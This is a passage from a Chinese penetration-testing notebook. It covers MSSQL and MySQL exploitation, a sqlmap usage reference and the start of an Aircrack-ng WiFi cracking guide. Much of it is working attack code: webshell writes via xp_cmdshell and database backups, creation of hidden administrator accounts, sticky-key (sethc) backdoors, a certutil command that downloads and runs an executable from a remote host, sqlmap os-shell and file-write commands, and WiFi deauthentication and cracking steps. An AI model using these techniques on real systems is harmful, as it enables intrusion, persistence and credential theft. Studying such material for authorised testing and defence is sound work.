insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " ); 2167 | select * from a into outfile "C:\\\Documents andSettings\\\All Users\\\「开始」菜单\\\程序\\\启动\\\a.vbs";//导出vbs 2168 | ``` 2169 | 2170 | msf下也有对应模块exploit/windows/mysql/mysql_start_up 2171 | 2172 | #### 五、拓展 2173 | 2174 | 其他常用msf模块 2175 | 2176 | exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行) 2177 | 2178 | auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash) 2179 | 2180 | auxiliary/admin/mysql/mysql_sql(执行sql语句,navicat更香) 2181 | 2182 | auxiliary/scanner/mysql/mysql_version(识别版本) 2183 | 2184 | #### 六、参考 2185 | 2186 | https://xz.aliyun.com/t/3973 2187 | 2188 | https://xz.aliyun.com/t/1491 2189 | 2190 | https://blog.csdn.net/qq_37077262/article/details/102964050 2191 | 2192 | http://www.safe6.cn/article/108 2193 | 2194 | https://blog.csdn.net/qq_36119192/article/details/84863268 2195 | 2196 | https://www.freebuf.com/articles/system/163144.html 2197 | 2198 | 2199 | 2200 | ### mssql渗透总结 2201 | 2202 | 膜拜大佬文章https://y4er.com/post/mssql-getshel 2203 | 2204 | #### getshell 2205 | 2206 | 能否getshell要看你当前的用户权限,如果是没有进行降权的sa用户,那么你几乎可以做任何事。当然你如果有其他具有do_owner权限的用户也可以。 2207 | 2208 | 拿shell的两大前提就是 2209 | 2210 | 1. 有相应的权限db_owner 2211 | 2. 知道web目录的绝对路径 2212 | 2213 | 我们先来了解下怎么去寻找web目录的绝对路径。 2214 | 2215 | ##### 寻找绝对路径 2216 | 2217 | 1. 报错信息 2218 | 2. 字典猜 2219 | 3. 旁站的目录 2220 | 4. 存储过程来搜索 2221 | 5. 读配置文件 2222 | 2223 | 前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。 2224 | 2225 | 在mssql中有两个存储过程可以帮我们来找绝对路径:`xp_cmdshell xp_dirtree` 2226 | 2227 | 先来看`xp_dirtree`直接举例子 2228 | 2229 | ```mssql 2230 | execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 2231 | execute master..xp_dirtree 'c:',1 --只列c:\目录 2232 | execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件 2233 | ``` 2234 | 2235 | 当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中 2236 | 2237 | ```mssql 2238 | CREATE TABLE tmp (dir varchar(8000),num int,num1 int); 2239 | insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1; 2240 | ``` 2241 | 2242 | 我们再来看`xp_cmdshell`怎么去找绝对路径,实际上原理就是调用cmd来查找文件,相对来说这种方法更方便。 2243 | 2244 | 当然你可能遇到xp_cmdshell不能调用 如果报错 2245 | 2246 | > SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。 2247 | 2248 | 可以用如下命令恢复 2249 | 2250 | ``` 2251 | ;EXEC sp_configure 'show advanced options',1;//允许修改高级参数 2252 | RECONFIGURE; 2253 | EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展 2254 | RECONFIGURE;-- 2255 | ``` 2256 | 2257 | 2258 | 2259 | 当然还不行可能xplog70.dll需要恢复,看具体情况来解决吧 2260 | 2261 | 接下来我们先来看cmd中怎么查找文件。 2262 | 2263 | 2264 | 2265 | ``` 2266 | C:\Users\Y4er>for /r e:\ %i in (1*.php) do @echo %i 2267 | e:\code\php\1.php 2268 | C:\Users\Y4er> 2269 | ``` 2270 | 2271 | 那么我们只需要建立一个表 存在一个char字段就可以了 2272 | 2273 | ```mssql 2274 | http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000)); 2275 | 2276 | http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i' 2277 | ``` 2278 | 2279 | 然后通过注入去查询该表就可以了。 2280 | 2281 | ------ 2282 | 2283 | 此时我们拿到绝对路径之后,我们接着往下看怎么拿shell 2284 | 2285 | ##### xp_cmdshell拿shell 2286 | 2287 | xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径 2288 | 2289 | ```mssql 2290 | http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ; 2291 | ``` 2292 | 2293 | 由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载 2294 | 2295 | ##### 差异备份拿shell 2296 | 2297 | ```mssql 2298 | 1. backup database 库名 to disk = 'c:\bak.bak';-- 2299 | 2300 | 2. create table [dbo].[test] ([cmd] [image]); 2301 | 2302 | 3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E) 2303 | 2304 | 4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;-- 2305 | ``` 2306 | 2307 | 因为权限的问题,最好不要备份到盘符根目录 2308 | 2309 | 当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。 2310 | 2311 | ##### log备份拿shell 2312 | 2313 | LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式 2314 | 2315 | ```mssql 2316 | 1. alter database 库名 set RECOVERY FULL 2317 | 2318 | 2. create table cmd (a image) 2319 | 2320 | 3. backup log 库名 to disk = 'c:\xxx' with init 2321 | 2322 | 4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 2323 | 2324 | 5. backup log 库名 to disk = 'c:\xxx\2.asp' 2325 | ``` 2326 | 2327 | log备份的好处就是备份出来的webshell的文件大小非常的小 2328 | 2329 | #### getsystem 2330 | 2331 | 我们继续来探究怎么进行提权 2332 | 2333 | ##### xp_cmdshell 2334 | 2335 | 在2005中xp_cmdshell的权限是system,2008中是network。 2336 | 2337 | 当遇到无法写shell,或者是站库分离的时候,直接通过xp_cmdshell来下载我们的payload来上线会更加方便。下载文件通常有下面几种姿势 2338 | 2339 | 1. certutil 2340 | 2. vbs 2341 | 3. bitsadmin 2342 | 4. powershell 2343 | 5. ftp 2344 | 2345 | 这个我会放在下一篇文章中细讲。 2346 | 2347 | 通过下载文件之后用xp_cmdshell来执行我们的payload,通过Cobalt Strike来进行下一步操作,比如怼exp或许会更加方便。 2348 | 2349 | ##### sp_oacreate 2350 | 2351 | 当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate 2352 | 2353 | ``` 2354 | EXEC sp_configure 'show advanced options', 1; 2355 | RECONFIGURE WITH OVERRIDE; 2356 | EXEC sp_configure 'Ole Automation Procedures', 1; 2357 | RECONFIGURE WITH OVERRIDE; 2358 | EXEC sp_configure 'show advanced options', 0; 2359 | ``` 2360 | 2361 | 2362 | 2363 | sp_oacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合sp_oamethod 来写文件执行cmd 2364 | 2365 | 在以前的系统有这几种用法 2366 | 2367 | 1. 调用cmd 来执行命令 2368 | 2369 | ``` 2370 | wscript.shell执行命令 2371 | 2372 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx' 2373 | 2374 | 2375 | 2376 | Shell.Application执行命令 2377 | declare @o int 2378 | exec sp_oacreate 'Shell.Application', @o out 2379 | exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1'; 2380 | ``` 2381 | 2382 | 2383 | 2384 | 1. 写入启动项 2385 | 2386 | ``` 2387 | declare @sp_passwordxieo int, @f int, @t int, @ret int 2388 | exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out 2389 | exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1 2390 | exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")' 2391 | exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName' 2392 | exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' 2393 | exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' 2394 | exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")' 2395 | exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"' 2396 | exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo' 2397 | exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)' 2398 | exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"'; 2399 | ``` 2400 | 2401 | 2402 | 2403 | 1. 粘贴键替换 2404 | 2405 | ``` 2406 | declare @o int 2407 | exec sp_oacreate 'scripting.filesystemobject', @o out 2408 | exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; 2409 | declare @o int 2410 | exec sp_oacreate 'scripting.filesystemobject', @o out 2411 | exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 2412 | ``` 2413 | 2414 | 2415 | 2416 | 大家可以灵活运用,这里也可以这样玩,把他写成vbs或者其他的来下载文件 ,为什么不直接调用cmd来下载,再2008系统上我是不成功的,但是sp_oacreate可以启动这个文件,所以换个思路 2417 | 2418 | ``` 2419 | declare @sp_passwordxieo int, @f int, @t int, @ret int; 2420 | exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out; 2421 | exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'c:\www\1.bat', 1; 2422 | exec @ret = sp_oamethod @f, 'writeline', NULL,'@echo off'; 2423 | exec @ret = sp_oamethod @f, 'writeline', NULL,'start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"'; 2424 | 2425 | 2426 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\1.bat' 2427 | 2428 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\file.exe' 2429 | ``` 2430 | 2431 | 2432 | 2433 | 当然这里只是一种思路,你完全可以用vbs来下载什么的 2434 | 2435 | ##### 沙盒提权 2436 | 2437 | ```mssql 2438 | 1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; 2439 | 2440 | 2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' 2441 | 2442 | 3. Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user itpro gmasfm /add )'); 2443 | ``` 2444 | 2445 | 引用前辈们的话 2446 | 2447 | > 1,Access可以调用VBS的函数,以System权限执行任意命令 2448 | > 2,Access执行这个命令是有条件的,需要一个开关被打开 2449 | > 3,这个开关在注册表里 2450 | > 4,SA是有权限写注册表的 2451 | > 5,用SA写注册表的权限打开那个开关 2452 | > 6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令 2453 | 2454 | ##### xp_regwrite 2455 | 2456 | 修改注册表 来劫持粘贴键 当然在2008数据库是不成立的 因为默认权限很低 2457 | 2458 | ``` 2459 | exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution 2460 | Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe'; 2461 | ``` 2462 | 2463 | 2464 | 2465 | mssql众多的储存过程是我们利用的关键,还有很多可能没被提出,需要自己的发现,比如在遇到iis6的拿不了shell还有个上传可以跳目录,不妨试试xp_create_subdir建立个畸形目录解析。 2466 | 2467 | 2468 | 2469 | 2470 | 2471 | 2472 | 2473 | ## **工具使用** 2474 | 2475 | 2476 | 2477 | ### sqlmap 2478 | 2479 | 参考:https://blog.csdn.net/qq_33530840/article/details/82144515 2480 | 2481 | #### **sqlmap详细命令参数** 2482 | 2483 | - –is-dba 当前用户权限(是否为root权限) 2484 | - –dbs 所有数据库 2485 | - –current-db 网站当前数据库 2486 | - –users 所有数据库用户 2487 | - –current-user 当前数据库用户 2488 | - –random-agent 构造随机user-agent 2489 | - –passwords 数据库密码 2490 | - –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理 2491 | - –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) 2492 | 2493 | —————————————————————————————————— 2494 | 2495 | **Options(选项):** 2496 | 2497 | - –version 显示程序的版本号并退出 2498 | - -h, –help 显示此帮助消息并退出 2499 | - -v VERBOSE 详细级别:0-6(默认为1) 2500 | - 保存进度继续跑: 2501 | 2502 | sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度 2503 | sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度 2504 | 2505 | **Target(目标):** 2506 | 2507 | 以下至少需要设置其中一个选项,设置目标URL。 2508 | 2509 | - -d DIRECT 直接连接到数据库。 2510 | - -u URL, –url=URL 目标URL。 2511 | - -l LIST 从Burp或WebScarab代理的日志中解析目标。 2512 | - -r REQUESTFILE 从一个文件中载入HTTP请求。 2513 | - -g GOOGLEDORK 处理Google dork的结果作为目标URL。 2514 | - -c CONFIGFILE 从INI配置文件中加载选项。 2515 | 2516 | **Request(请求):** 2517 | 2518 | 这些选项可以用来指定如何连接到目标URL。 2519 | 2520 | - –data=DATA 通过POST发送的数据字符串 2521 | - –cookie=COOKIE HTTP Cookie头 2522 | - –cookie-urlencode URL 编码生成的cookie注入 2523 | - –drop-set-cookie 忽略响应的Set – Cookie头信息 2524 | - –user-agent=AGENT 指定 HTTP User – Agent头 2525 | - –random-agent 使用随机选定的HTTP User – Agent头 2526 | - –referer=REFERER 指定 HTTP Referer头 2527 | - –headers=HEADERS 换行分开,加入其他的HTTP头 2528 | - –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) 2529 | - –auth-cred=ACRED HTTP身份验证凭据(用户名:密码) 2530 | - –auth-cert=ACERT HTTP认证证书(key_file,cert_file) 2531 | - –proxy=PROXY 使用HTTP代理连接到目标URL 2532 | - –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码) 2533 | - –ignore-proxy 忽略系统默认的HTTP代理 2534 | - –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒 2535 | - –timeout=TIMEOUT 等待连接超时的时间(默认为30秒) 2536 | - –retries=RETRIES 连接超时后重新连接的时间(默认3) 2537 | - –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 2538 | - –safe-url=SAFURL 在测试过程中经常访问的url地址 2539 | - –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL 2540 | 2541 | **Enumeration(枚举):** 2542 | 2543 | 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行 2544 | 您自己的SQL语句。 2545 | 2546 | - -b, –banner 检索数据库管理系统的标识 2547 | - –current-user 检索数据库管理系统当前用户 2548 | - –current-db 检索数据库管理系统当前数据库 2549 | - –is-dba 检测DBMS当前用户是否DBA 2550 | - –users 枚举数据库管理系统用户 2551 | - –passwords 枚举数据库管理系统用户密码哈希 2552 | - –privileges 枚举数据库管理系统用户的权限 2553 | - –roles 枚举数据库管理系统用户的角色 2554 | - –dbs 枚举数据库管理系统数据库 2555 | - -D DBname 要进行枚举的指定数据库名 2556 | - -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns) 2557 | - –tables 枚举的DBMS数据库中的表 2558 | - –columns 枚举DBMS数据库表列 2559 | - –dump 转储数据库管理系统的数据库中的表项 2560 | - –dump-all 转储所有的DBMS数据库表中的条目 2561 | - –search 搜索列(S),表(S)和/或数据库名称(S) 2562 | - -C COL 要进行枚举的数据库列 2563 | - -U USER 用来进行枚举的数据库用户 2564 | - –exclude-sysdbs 枚举表时排除系统数据库 2565 | - –start=LIMITSTART 第一个查询输出进入检索 2566 | - –stop=LIMITSTOP 最后查询的输出进入检索 2567 | - –first=FIRSTCHAR 第一个查询输出字的字符检索 2568 | - –last=LASTCHAR 最后查询的输出字字符检索 2569 | - –sql-query=QUERY 要执行的SQL语句 2570 | - –sql-shell 提示交互式SQL的shell 2571 | 2572 | **Optimization(优化):** 2573 | 2574 | 这些选项可用于优化SqlMap的性能。 2575 | 2576 | - -o 开启所有优化开关 2577 | - –predict-output 预测常见的查询输出 2578 | - –keep-alive 使用持久的HTTP(S)连接 2579 | - –null-connection 从没有实际的HTTP响应体中检索页面长度 2580 | - –threads=THREADS 最大的HTTP(S)请求并发量(默认为1) 2581 | 2582 | **Injection(注入):** 2583 | 2584 | 这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 2585 | 2586 | - -p TESTPARAMETER 可测试的参数(S) 2587 | - –dbms=DBMS 强制后端的DBMS为此值 2588 | - –os=OS 强制后端的DBMS操作系统为这个值 2589 | - –prefix=PREFIX 注入payload字符串前缀 2590 | - –suffix=SUFFIX 注入payload字符串后缀 2591 | - –tamper=TAMPER 使用给定的脚本(S)篡改注入数据 2592 | 2593 | **Detection(检测):** 2594 | 2595 | 这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 2596 | 2597 | - –level=LEVEL 执行测试的等级(1-5,默认为1) 2598 | - –risk=RISK 执行测试的风险(0-3,默认为1) 2599 | - –string=STRING 查询时有效时在页面匹配字符串 2600 | - –regexp=REGEXP 查询时有效时在页面匹配正则表达式 2601 | - –text-only 仅基于在文本内容比较网页 2602 | 2603 | **Techniques(技巧):** 2604 | 2605 | 这些选项可用于调整具体的SQL注入测试。 2606 | 2607 | - –technique=TECH SQL注入技术测试(默认BEUST) 2608 | - –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) 2609 | - –union-cols=UCOLS 定列范围用于测试UNION查询注入 2610 | - –union-char=UCHAR 用于暴力猜解列数的字符 2611 | 2612 | **Fingerprint(指纹):** 2613 | 2614 | - -f, –fingerprint 执行检查广泛的DBMS版本指纹 2615 | 2616 | **Brute force(蛮力):** 2617 | 2618 | 这些选项可以被用来运行蛮力检查。 2619 | 2620 | - –common-tables 检查存在共同表 2621 | - –common-columns 检查存在共同列 2622 | 2623 | User-defined function injection(用户自定义函数注入): 2624 | 这些选项可以用来创建用户自定义函数。 2625 | 2626 | –udf-inject 注入用户自定义函数 2627 | –shared-lib=SHLIB 共享库的本地路径 2628 | 2629 | **File system access(访问文件系统):** 2630 | 2631 | 这些选项可以被用来访问后端数据库管理系统的底层文件系统。 2632 | 2633 | - –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 2634 | - –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 2635 | - –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 2636 | 2637 | **Operating system access(操作系统访问):** 2638 | 2639 | 这些选项可以用于访问后端数据库管理系统的底层操作系统。 2640 | 2641 | - –os-cmd=OSCMD 执行操作系统命令 2642 | - –os-shell 交互式的操作系统的shell 2643 | - –os-pwn 获取一个OOB shell,meterpreter或VNC 2644 | - –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC 2645 | - –os-bof 存储过程缓冲区溢出利用 2646 | - –priv-esc 数据库进程用户权限提升 2647 | - –msf-path=MSFPATH Metasploit Framework本地的安装路径 2648 | - –tmp-path=TMPPATH 远程临时文件目录的绝对路径 2649 | 2650 | **Windows注册表访问:** 2651 | 2652 | 这些选项可以被用来访问后端数据库管理系统Windows注册表。 2653 | 2654 | - –reg-read 读一个Windows注册表项值 2655 | - –reg-add 写一个Windows注册表项值数据 2656 | - –reg-del 删除Windows注册表键值 2657 | - –reg-key=REGKEY Windows注册表键 2658 | - –reg-value=REGVAL Windows注册表项值 2659 | - –reg-data=REGDATA Windows注册表键值数据 2660 | - –reg-type=REGTYPE Windows注册表项值类型 2661 | 2662 | 这些选项可以用来设置一些一般的工作参数。 2663 | 2664 | - -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中 2665 | - -s SESSIONFILE 保存和恢复检索会话文件的所有数据 2666 | - –flush-session 刷新当前目标的会话文件 2667 | - –fresh-queries 忽略在会话文件中存储的查询结果 2668 | - –eta 显示每个输出的预计到达时间 2669 | - –update 更新SqlMap 2670 | - –save file保存选项到INI配置文件 2671 | - –batch 从不询问用户输入,使用所有默认配置。 2672 | 2673 | **Miscellaneous(杂项):** 2674 | 2675 | - –beep 发现SQL注入时提醒 2676 | - –check-payload IDS对注入payloads的检测测试 2677 | - –cleanup SqlMap具体的UDF和表清理DBMS 2678 | - –forms 对目标URL的解析和测试形式 2679 | - –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果 2680 | - –page-rank Google dork结果显示网页排名(PR) 2681 | - –parse-errors 从响应页面解析数据库管理系统的错误消息 2682 | - –replicate 复制转储的数据到一个sqlite3数据库 2683 | - –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址 2684 | - –wizard 给初级用户的简单向导界面 2685 | 2686 | #### sqlmap使用 2687 | 2688 | **使用代理** 2689 | 2690 | 可以配合代理池,我之前有发过 2691 | 2692 | ``` 2693 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --proxy “http://127.0.0.1:1080″ 2694 | ``` 2695 | 2696 | **检测注入** 2697 | 2698 | ``` 2699 | sqlmap -u “http://www.vuln.cn/post.php?id=1” 2700 | ``` 2701 | 2702 | **cookie注入** 2703 | 2704 | 只有level达到2才会检测cookie 2705 | 2706 | ``` 2707 | sqlmap -u “http://www.vuln.cn” –cookie “id=11” --level 2 2708 | ``` 2709 | 2710 | **数据包注入** 2711 | 2712 | ``` 2713 | sqlmap -r “c:\tools\request.txt” 2714 | ``` 2715 | 2716 | **post注入** 2717 | 2718 | ``` 2719 | sqlmap -u "http://www.vuln.cn/post.php?id=1" --method POST --data "id=1" 2720 | ``` 2721 | 2722 | **伪静态注入** 2723 | 2724 | 因为+号会被url编码,所以我们通常使用减号来进行判断。 2725 | 2726 | ``` 2727 | http://www.xxxx.com/product/detail/id/3-1.html 2728 | ``` 2729 | 2730 | 注入的地方用*号 2731 | 2732 | ``` 2733 | sqlmap.py -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3 2734 | ``` 2735 | 2736 | **跑库** 2737 | 2738 | --dbms指定数据库 2739 | 2740 | --dbs列出全部数据库 2741 | 2742 | ``` 2743 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --dbs 2744 | ``` 2745 | 2746 | **跑表** 2747 | 2748 | -D指定数据库(test) 2749 | 2750 | --tables列出该库全部表 2751 | 2752 | ``` 2753 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test --tables 2754 | ``` 2755 | 2756 | **跑列名** 2757 | 2758 | -T指定表(admin) 2759 | 2760 | --columns列出该表全部列名 2761 | 2762 | ``` 2763 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test -T admin –-columns 2764 | ``` 2765 | 2766 | **跑数据** 2767 | 2768 | -C指定列名 2769 | 2770 | --dump跑全部数据 2771 | 2772 | --start 1 --stop 10 跑十条数据 2773 | 2774 | ``` 2775 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test -T admin -C “username,password” --dump 2776 | ``` 2777 | 2778 | **判断是否是管理员** 2779 | 2780 | ``` 2781 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --is-dba 2782 | ``` 2783 | 2784 | **sqlshell** 2785 | 2786 | 获取一个sqlshell,可以用来执行sql语句 2787 | 2788 | ``` 2789 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --sql-shell 2790 | ``` 2791 | 2792 | **用search参数快速定位password列** 2793 | 2794 | ``` 2795 | sqlmap -r “c:\tools\request.txt” –dbms mysql -D test –search -C admin,password 2796 | ``` 2797 | 2798 | **获取shell** 2799 | 2800 | 条件: 2801 | 2802 | **(1)网站必须是root权限** 2803 | 2804 | **(2)攻击者需要知道网站的绝对路径** 2805 | 2806 | **(3)GPC为off,php主动转义的功能关闭** 2807 | 2808 | 都能上传了,直接传一个一句话不香吗? 2809 | 2810 | ``` 2811 | sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell 2812 | ``` 2813 | 2814 | **读取与写入文件** 2815 | 2816 | 首先找需要网站的物理路径,其次需要有可写或可读权限。 2817 | 2818 | –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径) 2819 | –file-write=WFILE 编辑后端的数据库管理系统文件系统上的**本地文件** (mssql xp_shell) 2820 | –file-dest=DFILE 后端的数据库管理系统写入文件的**绝对路径** 2821 | \#写示例: 2822 | 2823 | ``` 2824 | sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php” 2825 | ``` 2826 | 2827 | #读示例 2828 | 2829 | ``` 2830 | sqlmap -r “c:\request.txt” -p id –dbms mysql –file-read="e:\www\as\config.php" 2831 | ``` 2832 | 2833 | #注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数) 2834 | 2835 | 2836 | 2837 | #### Tamper使用 2838 | 2839 | 这里推一个工具,可以自动选择tamper 2840 | 2841 | https://github.com/m4ll0k/Atlas 2842 | 2843 | **使用** 2844 | 2845 | 先用sqlmap 跑一下注入点(需要输出使用的payload) 2846 | 2847 | 1. Run SQLMap: 2848 | 2849 | ``` 2850 | $ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 2851 | ``` 2852 | 2853 | [![sqlmap](img/68747470733a2f2f692e696d6775722e636f6d2f5850333952717a2e706e67)](https://camo.githubusercontent.com/3f5610b30b3956708d21ae3fa8e8f4333565d4ceb1b51f2a106eeff514229f04/68747470733a2f2f692e696d6775722e636f6d2f5850333952717a2e706e67) 2854 | 2855 | `Price_ASC') AND 8716=4837 AND ('yajr'='yajr` is blocked by WAF/IDS/IPS, now trying with Atlas: 2856 | 2857 | 拿到使用的payload,使用atlas.py来查找可用的tamper 2858 | 2859 | ``` 2860 | $ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v 2861 | ``` 2862 | 2863 | [![atlas_succ](img/68747470733a2f2f692e696d6775722e636f6d2f553671456e58702e706e67)](https://camo.githubusercontent.com/ec060487c40814c93aecbe7cc7709addd789f65d9b07386f656ea85167709f94/68747470733a2f2f692e696d6775722e636f6d2f553671456e58702e706e67) 2864 | 2865 | 找到后,就可以直接使用(上面找到versionedkeywords) 2866 | 2867 | ``` 2868 | $ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords 2869 | ``` 2870 | 2871 | 2872 | 2873 | ### Aircrack-ng破解WIFI密码 2874 | 2875 | 参考https://blog.csdn.net/qq_36119192/article/details/84254622 2876 | 2877 | 破解无线wifi可以分为以下几步: 2878 | 2879 | - 查看网卡名字:iwconfig 2880 | - 设置网卡为监听模式:airmon-ng start wlan0 2881 | - 扫描附近的WIFI:airodump-ng wlan0mon 2882 | - 选定一个路由器,并监听其流量:airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon 2883 | - 选定连接的一个客户端,进行攻击:aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon 2884 | - 对抓取到的cap包进行暴力破解:aircrack-ng -w password.txt -b BC:46:99:3D:66:D6 tplink-01.cap 2885 | 2886 | 查看无线网卡名字:iwconfig 或者 ifconfig -a 都可以 2887 | 2888 | ![img](img/20181119155904820.png) 2889 | 2890 | 开启网卡监听模式:airmon-ng start wlan0 。网卡开启了监听模式之后网卡的名字就变为 wlan0mon 了,以后的所有命令中的网卡名都是叫 wlan0mon 2891 | 2892 | ![img](img/20181119155959216.png) 2893 | 2894 | 扫描附近的WIFI:airodump-ng wlan0mon ,会显示附近所有的WIFI信号。 2895 | 2896 | - BSSID代表路由器的 MAC 地址 2897 | - PWR 代表信号的强度,数值越大代表信息越强 2898 | - CH 代表信道 2899 | - ENC代表用的加密的方式 2900 | - AUTH 代表认证的方式 2901 | - ESSID是WIFI的名字 2902 | 2903 | 我们需要选定一个准备破解的WIFI,我们选 tplink-5 2904 | 2905 | ![img](img/20181119160153813.png) 2906 | 2907 | 监听该路由器的流量: 2908 | 2909 | ```python 2910 | airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon # -w 参数指定生成的文件名 -c 指定信道 --bssid指定路由器的MAC地址 2911 | ``` 2912 | 2913 | 也可以监听整个信道的路由器流量: 2914 | 2915 | ``` 2916 | airodump-ng -w tplink -c 11 wlan0mon # -w 参数指定生成的文件名 -c 指定信道 2917 | ``` 2918 | 2919 | 下面的 STATION 是连接该WIFI的客户端,下面这里只有一个客户端连接了该WIFI。如果有多个客户端连接的话,我们最好选择活跃点的客户端。 2920 | 2921 | ![img](img/20181119165219125.png) 2922 | 2923 | 重新打开一个命令行窗口(之前的监听不要关闭),开始攻击!之前的窗口继续保留,用于观察是否抓包成功 2924 | 2925 | ```python 2926 | 